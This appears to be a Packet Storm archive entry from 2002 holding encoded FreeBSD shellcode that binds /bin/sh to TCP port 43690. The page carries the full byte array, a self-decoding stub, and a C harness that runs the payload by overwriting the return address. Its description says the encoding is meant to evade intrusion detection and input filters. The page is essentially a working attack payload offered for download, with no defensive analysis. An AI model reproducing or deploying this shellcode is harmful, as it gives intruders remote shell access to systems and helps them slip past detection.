exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

socket-obfus.S

socket-obfus.S
Posted May 7, 2002
Authored by Zillion | Site safemode.org

This is encoded FreeBSD shellcode that binds /bin/sh to port 43690 (0xAAAA). The aim of encoding the shellcode is to obfuscate certain bytes in order to bypass IDS detection and buffer filtering.

tags | shellcode
systems | freebsd
SHA-256 | 2672b98674cb4160ab29441ce7c4968ab49217ed9f2745731e4f65410a58ff5c

socket-obfus.S

Change Mirror Download
/*

FreeBSD shellcode that will bind /bin/sh to port 43690

The shellcode has been encoded by using a simple method. The first
two lines are the decoder, which will translate the rest back to the
correct instructions.

The advantages:

- Less worries about trouble characters such as 0a
- Possible lower chance of IDS detection
- One will take more effort to reverse engineer the shellcode

Written by zillion (safemode.org)

*/


char shellcode[] =
"\xeb\x11\x5e\x31\xc9\xb1\x72\x80\x6c\x0e\xff\x35\x80\xe9\x01"
"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff"
"\x20\x99\x93\x66\xf5\xbd\x7b\x3c\x9f\x3b\x9f\x36\x9f\x37\xe5"
"\x96\x85\x02\xb5\xbe\xf7\x66\xf5\xfb\x7b\x3e\x37\x9b\xfc\x7b"
"\x3f\xdf\xdf\xbe\x7b\x43\x9f\x45\xc2\x7b\x3d\x85\x87\x66\xf5"
"\xe5\x9d\x85\x02\xb5\x9f\x36\x87\x66\xf5\xe5\x9f\x85\x02\xb5"
"\x66\xf5\x85\x85\x87\xe5\x53\x85\x02\xb5\xe6\x38\xf0\x34\x34"
"\x34\x34\xbe\xf7\x78\x88\x87\xe5\x8f\x85\x02\xb5\xb5\x1e\x36"
"\xaa\x28\x66\xf5\x85\x85\x8b\xe5\x70\x85\x02\xb5\x1d\xcc\x34"
"\x34\x34\x64\x97\x9e\xa3\x64\xa8\x9d";


int main()
{

int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close